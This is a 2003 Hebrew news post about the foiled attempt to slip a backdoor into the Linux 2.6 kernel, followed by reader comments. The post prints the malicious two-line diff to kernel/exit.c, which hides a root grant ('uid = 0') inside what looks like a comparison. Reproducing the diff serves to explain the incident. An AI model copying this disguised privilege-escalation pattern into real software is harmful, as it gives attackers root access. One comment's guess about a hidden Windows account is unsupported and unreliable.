ווטסאפ - לינוקס, BSD, קוד פתוח ותוכנה חופשית בעברית. Whatsup - Linux, BSD, open source and free software in Hebrew

 
 
  כניסת חברים · רישום · שכחתי סיסמה  
tux the penguin

quick_linkסוכל ניסיון לשתול "backdoor" בקוד של הקרנל

published at 06/11/2003 - 11:38 · ‏פורסם dittigas · ‏tags אבטחת מידע · שלח לחברידידותי למדפסת
אבטחת מידע לארי מק'ווי, מפתח ומתחזק BitKeeper, מערכת ניהול הקוד בעזרתה מנוהל קוד המקור של לינוקס, מדווח על ניסיון לבצע שינוי בקוד המאפשר למשתמש לא מורשה לקבל הרשאות משתמש-על (root) בגירסה 2.6 של הקרנל.

השינוי התבצע בקובץ kernel/exit.c, כאמור ישירות בקוד המקור של הקרנל המוחזק במקביל ומסונכרן מול שרת CVS המחזיק עותק של הקוד משרת BitKeeper. כחלק מתהליך הסינכרון, המערכת מסוגלת לזהות הבדלים בקוד ולהתריע על שינויים בלתי צפויים על ידי בדיקות checksum מקיפות.

בעתיד הקרוב תתווסף גם תמיכה במפתחות הצפנה (GPG) כדי למנוע אפשרות של ביצוע שינויים על ידי מקור לא מורשה או על ידי התחזות, כמו במקרה זה. לדברי לינוס המערכת אמינה מספיק כדי לסכל אפשרות מסוג זה והוא מפרט:

"A few things do make the current system _fairly_ secure. One of them is that if somebody were to actually access the BK trees directly, that would be noticed immediately: when I push to the places I export from, the push itself would fail due to having an unexpected changeset in the target that I don't have on my local tree. So I'd notice that kind of stuff immediately."


אגב, בדיון בעניין זה באתר סלאשדוט מוזכר מקרה דומה בחברת בורלנד אשר אותר רק לאחר שקוד המקור של Interbase שוחרר לקהילת הקוד הפתוח שבע שנים לאחר מכן. השינוי התבצע על ידי עובד החברה, מפתח עם הרשאות גישה מלאות לקוד.

מקור: Linux: Kernel "Back Door" Attempt

לסקרנים, להלן לוג השינויים בקובץ הנדון והשינויים עצמם בהמשך, אשר התברר בהמשך כאמור כניסיון לשתול "דלת אחורית".


revision 1.121
date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
Oops, I worked on the the wrong file, fixed again.
----------------------------
revision 1.120
date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
*** empty log message ***
----------------------------
revision 1.119
date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
*** empty log message ***
----------------------------
revision 1.118
date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
Fix ZOMBIE race with self-reaping threads.



--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800




@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;
 

קישורים רלוונטיים

סוכל ניסיון לשתול "backdoor" בקוד של הקרנל | כניסה / יצירת מנוי חדש | 4 תגובות
סף חסימה
  
ההערות הינן מטעם כותביהן. אין צוות האתר לוקח אחריות על תוכנן
Re: סוכל ניסיון לשתול "backdoor" בקוד של הקרנל (ניקוד: 0)
ע"י פינגווין אנונימי ב 06/11/2003 - 18:39
השאלה המתבקשת היא כמובן:
was there any route via which this malicious patch could've worked
itself into a kernel release?


והתשובה של לינוס:
No. There are two ways to get into a kernel release: patches to me by
email (which depending on the person get more or less detailed scrutiny, but core files would definitely get a read-through and need an
explanation), and through BK merges.

And the people who merge with BK wouldn't have used the CVS tree.



- אבירם

[ השב לזאת ]

Re: סוכל ניסיון לשתול "backdoor" בקוד של הקרנל (ניקוד: 0)
ע"י פינגווין אנונימי ב 06/11/2003 - 18:51
לא הבנתי מי ניסה לעשות את זה ואיך בכלל הוא הגיא למאגרי הקוד?

[ השב לזאת ]

המקרה של בורלנד (ניקוד: 0)
ע"י פינגווין אנונימי ב 06/11/2003 - 20:44
חייבים לציין שהמקרה של בורלנד הוא די שונה:

שם ה-backdoor הוכנס ע"י צוות הפיתוח כדי לעקוף בעיה טכנית מסויימת שהיתה להם. זה נעשה עוד לפני שהמוצר הפך להיות מוצר המיועד להרבה משתמשים, ולכן זה לא נראה להם בעייתי להחזיק "חשבון סודי" כזה.

לעומת זאת כאן מישהו ניסה להחדיר לקוד שינוי בדרך לא חוקית. אולם הניסיון סוכל בעודו באיבו, ולכן לא היתה לנו כאן "הזדמנות" לראות האם אכן קוד זדוני מאותר מהר.

[ השב לזאת ]

Re: המקרה של בורלנד(ניקוד: 0)
ע"י פינגווין אנונימי ב 07/11/2003 - 05:00
גם מייקרוסופט אגב למדה ממקרה בורלנד

למי שלא שם לב, בחלונות איכספי, ישנם שני יוזרים חבויים מהמשתמש
(חבויים יחסית, הם מופיעים ברשימת המשתמשים ב computer managment אבל לא בלוח הבקרה)

אחד משמש את אופציית ה"עזרה מרחוק"
השני ככל הנראה "הוכנס ע"י צוות הפיתוח כדי לעקוף בעיה טכנית... "

[ השב לזאת ]